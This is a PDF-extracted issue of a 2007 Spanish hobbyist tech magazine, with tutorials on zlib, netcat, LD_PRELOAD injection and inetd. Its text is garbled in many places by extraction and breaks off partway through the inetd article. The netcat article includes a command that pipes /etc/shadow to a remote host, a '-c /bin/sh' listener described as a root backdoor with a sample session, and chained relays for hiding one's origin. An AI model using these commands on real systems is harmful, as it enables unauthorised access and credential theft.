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E ste es el primer n úmero del Oc c am's R azor . P ara el que no lo sepa,

el �lo o navaja de Oc c am es un cono cido principio cien tí�co que básicamen te

viene a decir lo siguien te: �L a solución más sencil la tiende a ser la buena� . Y

esta es la �losofía que queremos man tener en esta n uev a publicación.

No sé v osotros, p ero nosotros ec hamos de menos alguna publicación en la que

no se tenga miedo a profundizar en temas tradicionalmen te clasi�cados como

complicados. Hace algunos años, cualquier revista informática estaba repleta

de programas con los que practicar en tu casa y de artículos que trataban

cuestiones de, p o dríamos decir, b ajo nivel .

La idea era... sácale to do el partido a esa cosa que tienes en casa y que pue-

de hacer v erdaderas mara villas. Si y a, diréis m uc hos, p ero las cosas hace 15

años eran m uc ho más sencillas, pro cesadores len tos, unos p o cos kilob ytes de

memoria e in terfaces analógicos m uy sencillos. Eso es cierto, p ero la realidad

es que las cosas en pleno año 2007 no han cam biado tan to como la ma y oría

piensa.

Las cosas siguen funcionando igual, más rápido, con in terfaces más completos

(que no complicados, aunque esto último sería cuestionable en algunos casos),

y con m uc hísimos más recursos. P or esta razón, resulta v ergonzoso el p o co

partido que se le saca ho y en día a un ordenador comparado con las cosas que

se hacían hace algunos años (salv o honrosas excep ciones claro está).

Pues bien, esta revista pretende recup erar esa �losofía, profundizar en el fun-

cionamien to de la tecnología actual para que deje de ser una cosa mágic a y

pase a ser una cosa ló gic a . Y creednos, to do esto es m uc hísimo más sencillo

de lo que nos quieren hacer v er... no es trivial, p ero dista m uc ho de estar

reserv ado a unos p o cos elegidos.

P ara terminar con la presen tación de este primer n úmero queremos dejar claras

tres cosas.

La primera es que esta publicación no v a de lin ux. Puede parecer lo con-

trario tras leer este n úmero, p ero la razón de su con tenido es que no hemos

tenido m uc hos colab oradores. Si deseáis participar con artículos sobre temas

in teresan tes de cualquier otra plataforma éstos serán bien v enidos. La única

condición es que hagáis lo que hagáis in ten téis utilizar sistemas libres. Esto

asegura que cualquiera pueda hacer lo que se describ e en vuestros artícu-

los sin tener que desem b olsar una can tidad de dinero desorbitada y además

con tribuy e al progreso de la cultura.

La segunda es que esta revista no es de informática, sino de tecnología. T amp o-

co hemos tenido m uc has colab oraciones desde ám bitos diferen tes a la informá-

tica, p ero eso no quiere decir que artículos sobre electrónica, com unicaciones

o cualquier otro tema relacionado con la tecnología no tenga cabida en esta

publicación. Así que animaros a compartir vuestras exp eriencias.

Finalmen te, que quede claro que no nos hacemos resp onsables de cualquier

daño que se pueda o casionar en cualquier equip o siguiendo el texto de alguno

de n uestros artículos. Tú eres el resp onsable de lo que hagas con tus cosas y

si no tienes una remota idea de lo que estás haciendo quizás deb erías pararte

y pregun tar an tes de cargarte algo. P or otra parte que sepáis que no tenemos

ni un duro así que p or m uc ho que demandéis v ais apañados.

Esp eramos que os guste este primer n úmero y nos leemos en el pró ximo.

The Occam's Razor

Team

3| OCCAM's Razo r



RA T AS DE BIBLIOTECA

Si no vas sob rao ... -lz

Como maneja r �cheros comp rimidos en tus p rogramas

p o r Er aplastao

T o dos estamos acostum brados a comprimir

�c heros o incluso directorios en teros cuando em-

p ezamos a ir escasos de espacio en disco. Nor-

malmen te, cuando queremos recup erar los datos

comprimidos, primero los descomprimimos y lue-

go los usamos. No sería estup endo eliminarnos

este paso?

Muc hos habréis comprobado que en los sistemas

GNU/Lin ux existen v arios programas capaces de tra-

ba jar directamen te con �c heros comprimidos, como

p or ejemplo gv (visor de p ostscript) o vim (editor de

textos). Lejos de lo que p o dría parecer a simple vis-

ta, añadir esta funcionalidad a n uestros programas es

m uc ho más fácil de lo que nos imaginamos gracias a

la librería libz.so .

GRABANDO FICHEROS

El siguien te fragmen to de có digo m uestra como gene-

rar un �c hero comprimido utilizando la librería zlib :

#include <zlib.h>

int main ()

{

gzFile f;

f = gzopen (``mi_fichero.txt.gz'', ``wt'');

for (int i = 0; i < 20; i++)

gzprintf (f, ``Hello World %d\n'', i);

gzclose(f);

return 0;

}

En el ejemplo an terior se han omitido to das las com-

probaciones de errores, para p o der concen trarnos en

el uso de la librería. La v erdad es que cualquiera que

ha y a escrito un programa para grabar un �c hero de

texto en C lo v erá claro :).

P ara compilar este ejemplo, deb emos indicar que se

utilice la librería zlib, esto lo conseguimos con una

línea como la siguien te:

gcc mi_codigo_de_lamu er te. c -o z_ejemplo -lz

Que nos generará un ejecutable llamado z_ejemplo .

CARGANDO FICHEROS

Y a sab emos como generar �c heros comprimidos. Aho-

ra solo tenemos que sab er como leerlos de n uev o desde

n uestros programas.

Si os cuen to que existe una función llamada gzgets ,

seguro que la ma y oría no necesitaría sab er más. P e-

ro p or si ha y algún despistado en la sala, ahí v a un

ejemplillo de uso.

#include <stdio.h>

#include <zlib.h>

int main ()

{

gzFile f;

char line[256];

f = gzopen (``mi_fichero.txt.gz'', ``rt'');

while (!gzeof (f))

{

gzgets (f, line, 256);

printf (``%s\n'', line);

}

gzclose(f);

}

Bastan te sencillo no?. Así que y a p o demos hacer que

n uestros programas grab en sus �c heros de texto en

formato comprimido y recup erarlos p osteriormen te

sin más.

Y QUE MÁS?

Pues para los más curiosos que quieran sacarle to do

el jugo a esta librería, lo mejor que pueden hacer es

mirarse el �c hero zlib.h que normalmen te estará en el

directorio /usr/include .

Este �c hero con tiene to dos los prototip os y estruc-

turas de datos utilizados p or la librería con amplios

comen tarios para cada una de ellas.

Lo mejor es emp ezar p or el �nal, donde encon trareis

las funciones que hemos visto en los ejemplos an terio-

res, y unas cuan tas más que os resultarán m uy fami-

liares.

� L a libr ería zlib nos facilita el uso

de �cher os c omprimidos�

La primera parte del �c hero con tiene el API de más

ba jo niv el con el que con trolar los parámetros de com-

presión y comprimir/descomprimir datos en bu�ers de

memoria, lo cual puede ser útil en algunas circunstan-

cias.

Finalmen te, recordad que para p o der compilar estos

ejemplos necesitáis el paquete de desarrollo zlib que

incluy e el �c hero de cab ecera zlib.h que hemos uti-

lizado.

Hasta el pró ximo n úmero.
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MALAS BESTIAS

NetCat: La navaja suiza de la Red

Usos curiosos de esta p otente herramienta

p o r Er Manitas

N etcat es un p equeño programa normal-

men te cono cido como la navaja suiza de las r e-

des , puesto que se trata de una herramien ta m uy

v ersátil y útil. En este artículo v eremos algunos

de los usos no tan c omunes de esta herramien ta.

NETCA T: nc

Si y a, el nom bre no tiene nada que v er con los gatos,

p ero mola ¾eh?. Como m uc hos os imaginareis, netcat

pretende ser la v ersión para redes del cono cido coman-

do c at , p or una parte p or su orien tación al manejo de

texto (como tan tas herramien tas UNIX) y p or otra

p or su tremenda sencillez.

En p o co más de 17Kb (parece ridículo ¾no?) esta he-

rramien ta es capaz de realizar autén ticas pro ezas con

una sencillez impresionan te. An tes de meternos de

lleno en su uso, una última recomendación: Descargar

el có digo fuen te y ec harle un vistado no es ninguna

p érdida de tiemp o.

LO BÁSICO

P ara abrir b o ca v amos a presen tar el uso más básico

del programa, para luego v er to das las p osibilidades

que nos ofrece. Lo primero que deb emos sab er, es que

netc at puede traba jar tan to como clien te como servi-

dor, dep endiendo de los parámetros que pasemos.

Cuando se utiliza como clien te sin más, funciona igual

que el programa telnet , solo tenemos que darle el

nom bre o dirección IP de la máquina a la que que-

remos conectarnos seguida del puerto que queremos

utilizar.

Cuando se utiliza como servidor es necesario utilizar

el �ag -l y el �ag -p seguido del puerto en el que

queremos que el servidor acepte conexiones. V eamos

un sencillo ejemplo. En una consola escribimos el si-

guien te comando:

nc -l -p 8080

El programa se quedará esp erando conexiones en el

puerto 8080. Ahora coged vuestro na v egador preferi-

do e in tro ducid la siguien te URL:

http://127.0.0.1 :8 080

Netcat os mostrará p or consola algo parecido a la �-

gura 1.

Bueno, pues to do eso que v eis ahí aba jo es la infor-

mación que en vía vuestro na v egador cada v ez que os

conectáis a una página w eb, en otras palabras esto es

una p etición HTTP .

El na v egador quedará esp erando la respuesta del ser-

vidor w eb (n uestro h umilde nc en este caso), así que,

démosle una respuesta. En la consola en la que hemos

lanzado el netcat, escribid algo como esto:

<h1>Hola Mundo!!!</h1>

� Netc at pue de tr ab ajar c omo

cliente o servidor dep endiendo de

los p ar ámetr os que r e cib a�

Y seguidamen te pulsad las teclas con trol (CTRL) y C,

para parar netcat y cerrar la conexión. Ahora mirad

que aparece en vuestro na v egador :o.

MENSAJERÍA INST ANT ÁNEA

V amos ahora con una aplicación un p o co más curiosa,

utilizar n uestro netcat para sustituir esos p esados pro-

gramas de mensa jería instan tánea con tan tos grá�cos

y v en tanas y to do eso.

P ara mon tar este sencillo sistema, uno de los in ter-

lo cutores deb e lanzar netcat como servidor, y el otro

como clien te en un puerto determinado, algo tal que

así:

GET / HTTP/1.1

Host: 127.0.0.1:8080

User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050513 Debian/1.7.8-1

Accept:text/xml,application/xml,application/xhtml+ xml,text /html;q =0.9,tex t/plain ;q=0.8,i mage/pn g,*/*;q= 0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Connection: keep-alive

Figura 1. Datos enviados por nuestro browser
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MALAS BESTIAS

Usuario 1: nc -l -p 5000

Usuario 2: nc IP_USUARIO1 5000

Si no tenéis amiguitos en in ternet p o déis hablar

con v osotros mismos sustituy endo IP_USUARIO1 p or

127.0.0.1.

Sencillo ¾no?... No está nada mal para 17Kb.

REDIRECCIÓN REMOT A

Muc hos estaréis acostum brados a utilizar pip es para

redirigir la salida de un programa a un �c hero o a otro

programa que �ltre esos datos, cosas como:

cat mi_fichero | sort | uniq | \

sed -e 's/Pepe/Manolo/g' > resultado.txt

� Es muy sencil lo hac er b ackups

p or r e d de imágenes c ompletas

de disp ositivos utilizando Netc at

y dd�

Pues ¾que os parecería p o der redirigir la salida de los

programas a otra máquina?, gua y ¾no?, pues nada más

fácil. En la máquina en la que queréis recibir la sali-

da de un programa lanzáis netcat como servidor en

el puerto que más rabia os dé. Eso y a deb eríais sab er

hacerlo solos :).

En el otro extremo pues solo tenéis que hacer:

cat /etc/shadows | nc host puerto

¾Quien necesita el ftp para sacar �c hero de una máqui-

na?. Si y a, diréis. P ero eso son solo unas p o cas líneas

de texto... ¾o no?

COMPRANDO UN NUEV O ORDENA-

DOR

Bueno, no se v osotros, p ero normalmen te, cuando y o

cam bio de ordenador el disco duro del viejo se puede

copiar sin problemas en la monstruosa máquina que

nos acabados de comprar (o regalar, o to car en un

concurso de la tele, o agenciar, o...).

Así que p or qué p erder el tiemp o seleccionando �-

c heros para que siempre se nos olvide algún directo-

rio o culto con las cla v es priv adas que necesitas para...

bueno, eso no tiene imp ortancia.

Pues nada más sencillo. En n uestro n uev o ordenador

ejecutamos netcat de la siguien te forma:

nc -l -p 5000 > particion1.iso

Y en n uestro obsoleto ordenador que v amos a v aca-

p ear :), ejecutaremos algo como esto:

dd if=/dev/hda1 | nc nuevo_ordenador 5000

Que pasada!!!!. Bueno, y a hablaremos de dd en otra

o casión. Otra mala b estia.

Ahora simplemen te necesitamos mon tar n uestro �c he-

ro .iso para tener una copia exacta del disco duro de

n uestra vieja máquina, con una línea como esta:

# mkdir /mnt/el_viejo

# mount -o loop particion1.iso /mnt/el_viejo

Y en /mnt/el_viejo tendríamos exactamen te la par-

tición de n uestro viejo ordenador.

COMO EN LAS PELIS

En las p elis de hackers , siempre llega un momen to en

el que los buenos están in ten tando lo calizar al malo y

en un mapa del m undo se pueden v er unos pun tos ro-

jos unidos p or unas líneas que se v an p oniendo v erdes

mien tras lo calizan a los malos.

No está nada claro que es lo que hace el malo de la

p elícula, p ero p o dría utilizar netcat para hacer to dos

esos saltos p or to das esas máquinas de to do ese m un-

do... eso si, consiguiendo un acceso shell primero.

Y como se haría esto?, pues empip ando el netcat a

otro netcat.

Sup ongamos que tenemos cinco máquinas. La máqui-

na1 es la n uestra, y la máquina5 es la máquina de los

buenos que nos v an a lo calizar. La secuencia de co-

mandos que tendríamos que ejecutar sería la siguien-

te:

Maquina4: nc -l -p 5004 | nc maquina5 puesto_destino

Maquina3: nc -l -p 5003 | nc maquina4 5004

Maquina2: nc -l -p 5002 | nc maquina3 5003

Maquina1: nc maquina2 5002

De esta forma nos conectaríamos al puerto

puerto_destino de la máquina5 dando 3 saltos (sin

con tar el inicial). En realidad estas cosas no se hacen

así, p ero en caso de apuro... n unca se sab e.

�Con una sola líne a y Netc at p o-

demos pr ep ar ar un b ackdo or p ar a

ac c eso shel l a cualquier máquina�

PUERT AS TRASERAS

Una puerta trasera, más cono cida p or su término an-

glosa jón b ackdo or , es cualquier mecanismo que p ermi-

ta un acceso sencillo a un sistema si se sab e cual es la

puerta.

Normalmen te su utilidad es la de prop orcionar un ac-

ceso rápido a los malv ados crac k ers a las máquinas

que y a han crac k eado, básicamen te para no tener que

v olv er a hacerlo. En estos casos, lo que in teresa es un

acceso shell como ro ot para tener total con trol sobre

la máquina.
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MALAS BESTIAS

Y como hacemos esto con netcat?. Si comprobamos

las op ciones del programa, v eremos que ha y dos cla-

si�cadas como danger ous ... pues como somos así ahí

nos v amos directamen te.

nc -l -p 5000 -c /bin/sh

La op ción -c le dice a netcat que ejecute el progra-

ma que se indica a con tin uación cuando recib e una

conexión. Bueno, en realidad la cosa es un p o co más

complicada, p ero ahora no es el momen to de profun-

dizar en este tema.

Si el comando an terior se ha lanzado como ro ot, p o-

dremos hacer cosas como:

mi_maquinilla$ nc pobrecillo 5000

whoami

root

cd /etc

cat /etc/passwd

...

mi_maquinilla$

Es un p o co incómo do p orque no tenemos prompt, p e-

ro ha y p o cas cosas más sencillas.

�Netc at p ermite pr ep ar ar Back-

do ors, esc ane ar puertos o r e alizar

Port Kno cking de una forma muy

sencil la�

ESCANEANDO PUERTOS

Como no p o día ser de otra forma, Netcat tam bién

puede ser utilizado para escanear puertos, es decir,

para sab er si un determinado puerto, y normalmen te

servicio, de una determinada máquina está activ o.

P ara esta tarea v amos a utilizar el �ag -z para Entr a-

da/Salida Nula , es decir, en este mo do, Netcat no v a a

esp erar datos de la en trada estándar ni v a a mostrar-

los en la salida estándar. V eamos como hacer esto.

# nc -z maquina 80 && echo ``Servicio Web Activo''

Es decir, NetCat retorna un có digo de error si no pue-

de establecer una conexión. Los caracteres && repre-

sen tan el op erador AND lógico para la shell, el cual

tiene la p eculiaridad de que si el primer op erando es

0 ó falso, y a no ev alúa el segundo (no es necesario,

y a que el resultado será falso indep endien temen te del

v alor del segundo op erador).

Así, si netcat no puede establecer la conexión y de-

vuelv e un có digo de error, el siguien te comando, el

que m uestra el mensa je no se ejecutará.

Com binando esto que acabamos de v er con un p o co

de scripting es m uy sencillo mon tar un rudimen tario

escaneador de puertos.

KNOCK, KNOCK, KNOCKING ON NET-

CA T DOOR

Una v ersión particular de los bac kdo ors es la técnica

cono cida como Port Kno cking , algo así como llamar a

la puerta p or los puertos.

Esta técnica se basa en ejecutar un cierto comando,

normalmen te lev an tar un servicio o abrir un puerto

en un �rew all, cuando se recib e una serie de in ten tos

de conexión a un determinado conjun to de puertos en

una determinada secuencia.

Lo que v amos a describir aquí es una apro ximación

m uy simple al pro ceso, p ero con un p o co de scripting

y haciendo que el clien te en víe algunos datos, p o dría-

mos apro ximarnos bastan te... p ero eso queda como

ejercicio.

V eamos como se haría.

En la máquina destino, en la que se ejecutará la ac-

ción que nos in teresa, solo tenemos que lanzar una

secuencia de comandos similar a la siguien te:

nc -l -p 500 && nc -l -p 400 && echo "Hola Mundo"

Ahora, si desde n uestro clien te, nos conectamos prime-

ro al puerto 500 y luego al 400, en la máquina servidor

se mostrará un �aman te �Hola Mundo� en la consola.

Con lo que y a hemos comen tado resp ecto al op era-

dor &&, la línea an terior no deb ería requerir ma y or

explicación.

Sencillo?.... Rudimen tario??... Sí. P ero tam bién in-

quietan te.

HORA BOT

Hasta ahora hemos estado utilizando netcat directa-

men te desde la línea de comandos, sin em bargo, com-

binado con un lengua je de programación, las p osibili-

dades se m ultiplican.

En el siguien te ejemplo se m uestra un sencillo script

shell que implemen ta un patético Bot para el IR C que

cada 5 min utos da la hora lo cal en un determinado

canal.

#!/bin/sh

while (true) do

HORA=`date +%H:%M`

cat << EOM | nc servidor_irc 6667

USER HoraBot 0 * :Soy el Bot que da la hora

NICK HoraBot

JOIN #un_canal_cualquiera

PRIVMSG #un_canal_cualquiera : Son las $HORA y sereno

QUIT

EOM

sleep 300

done;

Como p o déis v er, este sencillo script SHELL, repite

in�nitamen te un bucle en el que se conecta a una de-

terminada máquina y transmite una serie de coman-

dos del IR C utilizando Netcat. Luego esp era 5 min utos

y vuelv e a rep etir el pro ceso.
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MALAS BESTIAS

Los in teresados en el proto colo del IR C pueden diri-

girse al RF C apropiado, o esp erar a que hagamos un

artículo gua y en la revista, allá tu y tu impaciencia.

Resp ecto a este último ejemplo, comen taros que en

algunos servidores de IR C requieren un mensa je PONG

duran te la auten ticación, con lo cual el script an terior

no funcionaría. De to das formas, p o déis probar con

otros proto colos como SMTP o HTTP , p or ejemplo.

P ARA TERMINAR

En este p equeño artículo hemos visto algunas aplica-

ciones más o menos curiosas y/o útiles del programa

netcat. En la propia distribución del programa p o-

dréis encon trar un directorio con v arios scripts que

hacen cosas más complicadas que las que hemos des-

crito aquí, y tam bién m uc ho más in teresan tes.

Recordaros, una v ez más, que netcat es uno de esos

programas que merece la p ena estudiar y con el que se

pueden aprender unas cuan tas cosas sobre como desa-

rrollar aplicaciones en red, si bien, el estilo del có digo

es un p o co para gustos.

LECTORES

Recordad que p o déis en viarnos vuestros exp eri-

men tos con netcat, y los más in teresan tes, cu-

riosos y güa ys los publicaremos en el pró ximo

n úmero.

T o da vía somos p obres para hacer concursos has-

ta que consigamos patro cinadores con pasta...

P ero bueno, p or lo que te ha costado esta revista

te puedes estirar un p o co no?

P o déis en viar vuestras propuestas a:

occams-razor@uv igo .e s

A domar esta mala b estia
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Iny ección de Có digo en Lib rerías Dinámicas

Cono ce los secretos de LD_PRELO AD

p o r Er A TS

E n esta primera incursión en los en tresijos

de la ingeniería in v ersa, v amos a explorar una

de las formas más sencillas para la in y ección de

có digo. Dejando a un lado los usos �curiosos�,

la in y ección de có digo en aplicaciones binarias

nos prop orciona una p oten te herramien ta para

la depuración o adaptación de aplicaciones de

las cuales no disp onemos de su có digo fuen te.

LIBRERÍAS DINÁMICAS

La ma y oría de las aplicaciones actuales utilizan lo que

se cono ce como librerías dinámicas, hec ho que les pro-

p orciona ciertas v en ta jas. En primer lugar los ejecu-

tables son más p equeños y a que parte de su funciona-

lidad se a mo vido ha la librerías. Las funcionalidades

de la librería pueden ser utilizadas p or v arias apli-

caciones, de forma que las actualizaciones de éstas se

re�ejan en v arios ejecutables (fren te a la actualización

de cada ejecutable p or separado).

Las aplicaciones que utilizan librerías dinámicas, man-

tienen una referencia a las mismas, de forma que el

cargador dinámico (ldd) pueda encon trarlas cuando

solicitamos la ejecución de una aplicación. Estas refe-

rencias se pueden obtener utilizando el comando ldd

que nos prop orciona una salida como la siguien te:

$ ldd /bin/echo

libc.so.6 => /lib/tls/libc.so.6 (0x4002b000)

/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

$

Como p o demos v er, el comando ldd del ejemplo an te-

rior, m uestra la lista de librerías dinámicas utilizada

p or el programa echo . P or ahora no nos in teresa la

información extra que prop orciona ldd . Sólo nos in-

teresa sab er que el programa dep ende de dos librerías

dinámicas.

PREP ARANDO NUESTRO EJEMPLO

P ara p o der traba jar en un en torno con trolado, lo pri-

mero que v amos a hacer es generar un sencillo progra-

ma de test y un par de librerías dinámicas con las que

trastear.

P ara ello utilizaremos las autoto ols de GNU que nos

simpli�can la generación tan to de ejecutables como de

librerías. Creamos un directorio para n uestro pro y ec-

to (p or ejemplo injection) y escribimos (o copiamos

:) n uestro minimalista con�gure.ac (si estamos a la

última y y a no usamos aquellos .in del pasado).

AC_INIT

AM_INIT_AUTOMAKE(injection, 0.0.1)

AM_CONFIG_HEADER(config.h)

AM_MAINTAINER_MODE

AC_PROG_CC

AC_HEADER_STDC()

AC_PROG_LIBTOOL

AC_OUTPUT(Makefile)

Ahora solo tenemos que escribir el mak e �le para el

automake (Mak e�le.am), que para n uestro caso será

algo como esto:

lib_LTLIBRARIES=libinjection.l a libinjection1.la

libinjection_la_SOURCES=inject ion. c

libinjection_la_LDFLAGS=-ldl

libinjection1_la_SOURCES=injec tion 1.c

libinjection1_la_LDFLAGS=-ldl

CFLAGS+=-D_GNU_SOURCE

noinst_PROGRAMS=test

test_SOURCES=test.c

�Es muy sencil lo cr e ar libr erías

dinámic as utilizando la herr a-

mienta libto ol�

Este mak e�le nos v a a generar dos librerías dinámi-

cas llamadas libinjection.so y libinjection1.s o

resp ectiv amen te y un p equeño programa de test que

el comando make install nos instalará.

Ahora solo nos queda ejecutar las autoto ols para con-

seguir un con�gure y p o der compilar n uestro có digo

aclocal

libtoolize --force --copy

autoheader

automake --add-missing --copy --foreign --include-deps

autoconf

Es habitual incluir los comandos an teriores en un shell

script con nom bre b o otstr ap y tenerlo siempre a mano

para ahorrarse este último paso, aunque ha y otras for-

mas de pro ceder en las que no v amos a en trar. Ahora

y a estamos en condiciones de escribir n uestra p equeña

librería.
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LD_PRELO AD

P ara comprender el siguien te ejemplo, primero de-

b emos cono cer el uso de la v ariable de en torno

LD_PRELOAD que será la forma de in y ectar n uestro có-

digo en la aplicación.

La v ariable de en torno LD_PRELOAD p ermite forzar la

carga de ciertas librerías dinámicas an tes de que el

programa a ejecutar se cargue en memoria. El hec ho

de cargar una librería dinámica an tes que otra, impli-

ca que cualquier función en la librería precargada se

ejecutará an tes que su homónima en librerías cargadas

p osteriormen te.

Así, si creamos una librería dinámica con n uev as v er-

siones de las funciones en una determina aplicación,

las funciones de n uestra librería sustituirán a las del

programa consiguiendo �in y ectar� có digo arbitrario en

el mismo. Ahora v eremos to do esto con un ejemplo que

clari�cará más las cosas.

MICRO-SANDBO X

Los más an tiguos del lugar recordarán que los par-

ques infan tiles tenía arena en el suelo, sobre to do al

�nal de los tob oganes y otros elemen tos lúdicos que

nos p ermitían partirnos la crisma al más mínimo des-

cuido. Normalmen te, esa arena estaba en una �ca ja�,

bueno, se v eían una esp ecie de ca jón semi en terrado

destinado a man tener la arena en su sitio.

Bien, pues un �sandb o x� es una de esas ca jas de arena

de los an tiguos parques infan tiles, un disp ositiv o des-

tinado a que un programa no se �dañe� o más bien,

que el programa no dañe nada en el sistema. Quizás

el sandb o x más cono cido es el que se mon ta con el

comando chroot , jun to al incluido en la máquina vir-

tual Ja v a que se p opularizó con el uso de applets en

un en torno inseguro como In ternet.

� Un sandb ox pr op or ciona un en-

torno se gur o p ar a la eje cución de

pr o gr amas�

P ara ilustrar el uso de LD_PRELOAD v amos a mon tar

un micro-sandb o x para evitar que cualquier programa

escriba datos en el directorio /tmp . Sí, esto es un p o co

absurdo, p ero así nos sale un ejemplo m uy sencillo.

P ara n uestro ejemplo, simplemen te v amos a escribir

una v ersión de la función fopen que comprueb e el

nom bre del �c hero y en el caso de tratarse del direc-

torio tmp retorne un error.

UN NUEV O F OPEN

Editamos n uestro �c hero injector.c y añadimos el có-

digo siguien te:

# i n c l u d e < s t d i o . h >

# i n c l u d e < s t r i n g . h >

# i n c l u d e < d l f c n . h >

F I L E �
f o p e n ( c o n s t c h a r � p a t h , c o n s t c h a r � m o d e )

{

F I L E � ( � r e a l _ f o p e n ) ( c o n s t c h a r � , c o n s t c h a r � ) ;

p r i n t f ( " f o p e n _ w r a p p e r :  E n t r a n d o \ n " ) ;

i f ( s t r n c m p ( p a t h , " / tmp " , 4 ) = = 0 )

{

f p r i n t f ( s t d e r r , " f o p e n _ w r a p p e r : "

" A c c e s o  D e n e g a d o  ' % s ' \ n " , p a t h ) ;

r e t u r n N U L L ;

}

/ � C o n s i g u e e l p u n t e r o a l f o p e n r e a l � /

r e a l _ f o p e n = d l s y m ( R T L D _ N E X T , " f o p e n " ) ;

r e t u r n r e a l _ f o p e n ( p a t h , m o d e ) ;

}

Lo primero que observ amos es que la declaración de

n uestra función es exactamen te la misma que la de la

función de la librería C estándar fopen . Las primeras

líneas de la función llev an a cab o la comprobación del

nom bre del �c hero que queremos abrir y en caso de

que sea p ositiv a devuelv e el v alor NULL, igual que la

función fopen original.

Si el directorio al que pretendemos acceder está p ermi-

tido, en tonces tenemos que obtener la función fopen

real y ejecutarla, dev olviendo el stream adecuado a la

aplicación principal.

P ara ello, hemos declarado un pun tero a función con

un prototip o compatible con n uestro fopen y hemos

usado la función dlsym para obtener el pun tero a la

función fopen �original�. Realmen te no estamos obte-

niendo el pun tero al fopen original, sino al siguien te

fopen disp onible (parámetro RTLD_NEXT . Esto p ermi-

te enlazar v arios wr app ers a la función de in terés.

P ara comprobar este último comp ortamien to genera-

mos el �c hero injector1.c idén tico al primero, p ero mo-

di�cando el mensa je del primer prin tf para que p o-

damos iden ti�car que el programa a pasado p or ese

pun to. Eso os lo dejamos a v osotros.
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UN PROGRAMA DE EJEMPLO

Ahora solo tenemos que escribir un sencillo progra-

ma de ejemplo que use la función fop en para probar

n uestro micro-sandb o x. Algo como esto:

# i n c l u d e < s t d i o . h >

i n t

t e s t ( c o n s t c h a r � f n a m e )

{

F I L E � f ;

i f ( ( f = f o p e n ( f n a m e , " w t " ) ) = = N U L L )

f p r i n t f ( s t d e r r ,

" N o  p u e d o  a b r i r  f i c h e r o  ' % s ' \ n " ,

f n a m e ) ;

e l s e

{

f p r i n t f ( f , " H o l a  M u n d o ! ! ! \ n " ) ;

f c l o s e ( f ) ;

}

}

i n t

m a i n ( )

{

t e s t ( " / tmp / p r e l o a d _ t e s t . t e s t " ) ;

t e s t ( " p r e l o a d _ t e s t . t e s t " ) ;

r e t u r n 0 ;

}

Como p o demos comprobar el programa prop orciona

una función que in ten ta abrir un �c hero y en caso de

que sea p osible, lo sustituy e p or la cadena �Hola Mun-

do!!!�.

� Con LD_PRELO AD p o demos

mo di�c ar funciones en libr erías

dinámic as�

Compilamos con el típico (./configure && make) y

v eamos el resultado.

NAD A DE ESCRIBIR EN tmp

Lo primero que hacemos es ejecutar n uestro progra-

ma de test normalmen te y comprobar que se genera

un �c hero en /tmp y otro en n uestro directorio actual.

$ ./test

$ ls /tmp

preload_test.test

Ahora prob emos n uestro micro-sandb o x. No olvidéis

b orrar el �c hero de ejemplo de /tmp.

$ rm /tmp/preload_test.test

$ LD_PRELOAD=.libs/libinjector.so ./test

fopen_wrapper: Entrando

fopen_wrapper: Accesso Denegado a '/tmp/preload_test.test'

No puedo abrir fichero '/tmp/preload_test.test'

fopen_wrapper: Entrando

Estup endo!!!. Hemos visto n uestras líneas de traza en

la librería y el mensa je de acceso denegado al in ten tar

escribir en /tmp. Comprob emos que no se ha generado

ningún �c hero.... somos la b om ba!

Lo del .libs es p orque ese es el lugar en el que libto ol

genera las librerías. Hasta que no se ejecute un make

install las librerías no pasan al directorio apropiado

(/usr/lib o /usr/lo cal/lib).

Ahora v amos a v er si n uestra cadena de wrapp ers fun-

ciona correctamen te.

$ rm /tmp/preload_test.test

$ LD_PRELOAD=.libs/libinjector.so:.libs/libinjecto r1.so ./test

fopen_wrapper: Entrando

fopen_wrapper: Accesso Denegado a '/tmp/preload_test.test'

No puedo abrir fichero '/tmp/preload_test.test'

fopen_wrapper: Entrando

fopen_wrapper1: Entrando

V emos que, en el caso de que to do sea correcto, ade-

más pasamos p or la segunda librería, como dem uestra

la última línea del ejemplo an terior. Cuando se in ten ta

acceder al directorio /tmp, la primera librería y a blo-

quea el progreso y n unca llegamos a la segunda, p or

eso aparece un solo mensa je de la segunda librería.

OTRAS APLICA CIONES

Como os p o déis imaginar, los usos de LD_PRELOAD son

ilimitados. Algunos ejemplos p o drían ser... sandb o x...

1, 2, 3, resp onda otra v ez:

Sandb o xes

Cifrado/compresión/manipulación en general

de �c heros

T est Unitarios/Mo c k Ob jects

Programación p or Con trato

Programación Orien tada a Asp ectos

Depuración

P aralelización de T areas

Con to do lo que hemos comen tado hasta el momen to,

p o déis in v estigar p or v osotros mismos cualquiera de

estas aplicaciones, y seguro que en el traba jo diario

aparecerán p osibles usos de esta técnica.

RESUMIENDO...

En este p equeño artículo hemos visto como utilizar la

v ariable de en torno LD_PRELO AD para mo di�car

el comp ortamien to de una librería dinámica. Hemos

visto como crear un sencillo �sandb ox� y apun tado al-

gunas ideas de como aplicar lo que hemos aprendido.

No reparéis en en viarnos cualquier aplicación güa y . No

desesp eréis, en pró ximas en tregas seremos más malos

:*
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Crea tu p ropio Servicio de Internet

Exo rcizando al sup erdemonio inetd

p o r Un Servido r

Q uién no ha necesitado alguna v ez escri-

bir su propio servidor?. Si tu respuesta es �y o�,

no desesp eres, y a te to cará. Sin em bargo, si solo

necesitas un servicio m uy simple, puede que no

necesites v értelas con los so ckets o cosas p eores.

En este artículo te descubrimos como utilizar el

sup er demonio inetd para crear servicios de una

forma m uy rápida, sencilla y o cupando m uy p o-

co.

inetd. EL SUPERDEMONIO

Os pregun tareis... ¾qué es eso del sup er demonio ?. Pues

como su propio nom bre indica, se trata de un servicio

capaz de prop orcionar otros servicios. Bueno, su nom-

bre sugiere más bien una b estia p estilen te con cuernos

y rab o de gran tamaño, la b estia se en tiende, p ero esa

frase quedaba m uy bien ahí.

�El sup er demonio inetd nos p er-

mite cr e ar servicios muy r ápida-

mente�

Este demonio, cuando es lanzado, lee el �c hero de con-

�guración que se encuen tra en /etc/inetd.conf , el

cual le prop orciona información sobre los servicios que

v a a gestionar.

Una en trada típica de este �c hero es tal cual así:

ident stream tcp wait identd /usr/sbin/identd identd

V amos a v er que signi�ca cada una de las columnas

de esta línea.

La columna 1 indica el puerto en el que se insta-

lará el servicio. En este caso, se está utilizando

un nom bre de servicio que el programa resolv erá

utilizando el �c hero /etc/services, p ero nosotros

